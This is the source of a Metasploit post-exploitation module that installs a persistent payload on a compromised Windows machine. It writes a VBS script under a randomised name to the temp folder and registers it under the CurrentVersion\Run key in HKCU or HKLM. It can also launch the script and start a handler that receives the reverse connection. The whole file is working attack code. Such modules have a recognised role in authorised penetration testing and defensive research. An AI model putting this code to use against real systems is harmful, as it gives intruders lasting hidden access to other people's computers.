## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' require 'msf/core/post/windows/registry' require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Registry include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Persistent Registry Startup Payload Installer', 'Description' => %q{ This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in "CurrentVersion\Run" (depending on privilege and selected method). }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez ', 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Oct 19 2011", 'DefaultOptions' => { 'DisablePayloadHandler' => 'true' } )) register_options([ OptInt.new('DELAY', [true, 'Delay (in seconds) for persistent payload to keep reconnecting back.', 10]), OptEnum.new('STARTUP', [true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]), OptString.new('VBS_NAME', [false, 'The filename to use for the VBS persistent script on the target host (%RAND% by default).', nil]), OptString.new('EXE_NAME', [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]), OptString.new('REG_NAME', [false, 'The name to call registry value for persistence on target host (%RAND% by default).', nil]), OptString.new('PATH', [false, 'Path to write payload (%TEMP% by default).', nil]) ], self.class) register_advanced_options([ OptBool.new('HANDLER', [false, 'Start an exploit/multi/handler job to receive the connection', false]), OptBool.new('EXEC_AFTER', [false, 'Execute persistent script after installing.', false]) ], self.class) end # Exploit method for when exploit command is issued def exploit # Define default values rvbs_name = datastore['VBS_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) rexe_name = datastore['EXE_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) reg_val = datastore['REG_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6)) startup = datastore['STARTUP'].downcase delay = datastore['DELAY'] exec_after = datastore['EXEC_AFTER'] handler = datastore['HANDLER'] @clean_up_rc = "" rvbs_name = rvbs_name + '.vbs' if rvbs_name[-4,4] != '.vbs' rexe_name = rexe_name + '.exe' if rexe_name[-4,4] != '.exe' # Connect to the session begin host = session.session_host print_status("Running persistent module against #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}") rescue => e print_error("Could not connect to session: #{e}") return nil end # Check values if is_system? && startup == 'user' print_warning('Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!') end if handler && !datastore['DisablePayloadHandler'] # DisablePayloadHandler will stop listening after the script finishes - we want a job so it continues afterwards! print_warning("Note: HANDLER == TRUE && DisablePayloadHandler == TRUE. This will create issues...") print_warning("Disabling HANDLER...") handler = false end # Generate the exe payload vprint_status("Generating EXE payload (#{rexe_name})") exe = generate_payload_exe # Generate the vbs payload vprint_status("Generating VBS persistent script (#{rvbs_name})") vbsscript = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay, :exe_filename => rexe_name}) # Writing the payload to target vprint_status("Writing payload inside the VBS script on the target") script_on_target = write_script_to_target(vbsscript, rvbs_name) # Exit the module because we failed to write the file on the target host # Feedback has already been given to the user, via the function. return unless script_on_target # Initial execution of persistent script case startup when 'user' # If we could not write the entry in the registy we exit the module. return unless write_to_reg("HKCU", script_on_target, reg_val) vprint_status("Payload will execute when USER (#{session.sys.config.getuid}) next logs on") when 'system' # If we could not write the entry in the registy we exit the module. return unless write_to_reg("HKLM", script_on_target, reg_val) vprint_status("Payload will execute at the next SYSTEM startup") else print_error("Something went wrong. Invalid STARTUP method: #{startup}") return nil end # Do we setup a exploit/multi/handler job? if handler listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD']) if listener_job_id.blank? print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") end end # Do we execute the VBS script afterwards? target_exec(script_on_target) if exec_after # Create 'clean up' resource file clean_rc = log_file() file_local_write(clean_rc, @clean_up_rc) print_status("Clean up Meterpreter RC file: #{clean_rc}") report_note(:host => host, :type => "host.persistance.cleanup", :data => { :local_id => session.sid, :stype => session.type, :desc => session.info, :platform => session.platform, :via_payload => session.via_payload, :via_exploit => session.via_exploit, :created_at => Time.now.utc, :commands => @clean_up_rc } ) end # Writes script to target host and returns the pathname of the target file or nil if the # file could not be written. def write_script_to_target(vbs, name) filename = name || Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" temppath = datastore['PATH'] || session.sys.config.getenv('TEMP') filepath = temppath + "\\" + filename unless directory?(temppath) print_error("#{temppath} does not exists on the target") return nil end if file?(filepath) print_warning("#{filepath} already exists on the target. Deleting...") begin file_rm(filepath) print_good("Deleted #{filepath}") rescue print_error("Unable to delete file!") return nil end end begin write_file(filepath, vbs) print_good("Persistent VBS script written on #{sysinfo['Computer']} to #{filepath}") # Escape windows pathname separators. @clean_up_rc << "rm #{filepath.gsub(/\\/, '//')}\n" rescue print_error("Could not write the payload on the target") # Return nil since we could not write the file on the target filepath = nil end filepath end # Installs payload in to the registry HKLM or HKCU def write_to_reg(key, script_on_target, registry_value) regsuccess = true nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8) key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" print_status("Installing as #{key_path}\\#{nam}") if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ") print_good("Installed autorun on #{sysinfo['Computer']} as #{key_path}\\#{nam}") else print_error("Failed to make entry in the registry for persistence") regsuccess = false end regsuccess end # Executes script on target and returns true if it was successfully started def target_exec(script_on_target) execsuccess = true print_status("Executing script #{script_on_target}") # Lets give the target a few seconds to catch up... Rex.sleep(3) # Error handling for process.execute() can throw a RequestError in send_request. begin unless datastore['EXE::Custom'] cmd_exec("wscript \"#{script_on_target}\"") else cmd_exec("cscript \"#{script_on_target}\"") end rescue print_error("Failed to execute payload on target") execsuccess = false end execsuccess end # Starts a exploit/multi/handler session def create_multihandler(lhost, lport, payload_name) pay = client.framework.payloads.create(payload_name) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport print_status('Starting exploit/multi/handler') unless check_for_listener(lhost, lport) # Set options for module mh = client.framework.exploits.create('multi/handler') mh.share_datastore(pay.datastore) mh.datastore['WORKSPACE'] = client.workspace mh.datastore['PAYLOAD'] = payload_name mh.datastore['EXITFUNC'] = 'thread' mh.datastore['ExitOnSession'] = true # Validate module options mh.options.validate(mh.datastore) # Execute showing output mh.exploit_simple( 'Payload' => mh.datastore['PAYLOAD'], 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, 'RunAsJob' => true ) # Check to make sure that the handler is actually valid # If another process has the port open, then the handler will fail # but it takes a few seconds to do so. The module needs to give # the handler time to fail or the resulting connections from the # target could end up on on a different handler with the wrong payload # or dropped entirely. Rex.sleep(5) return nil if framework.jobs[mh.job_id.to_s].nil? return mh.job_id.to_s else print_error('A job is listening on the same local port') return nil end end # Method for checking if a listener for a given IP and port is present # will return true if a conflict exists and false if none is found def check_for_listener(lhost, lport) client.framework.jobs.each do |k, j| if j.name =~ / multi\/handler/ current_id = j.jid current_lhost = j.ctx[0].datastore['LHOST'] current_lport = j.ctx[0].datastore['LPORT'] if lhost == current_lhost && lport == current_lport.to_i print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") return true end end end false end # Function for creating log folder and returning log path def log_file(log_path = nil) # Get hostname host = session.sys.config.sysinfo["Computer"] # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) end # Create the log directory ::FileUtils.mkdir_p(logs) # logfile name logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" logfile end end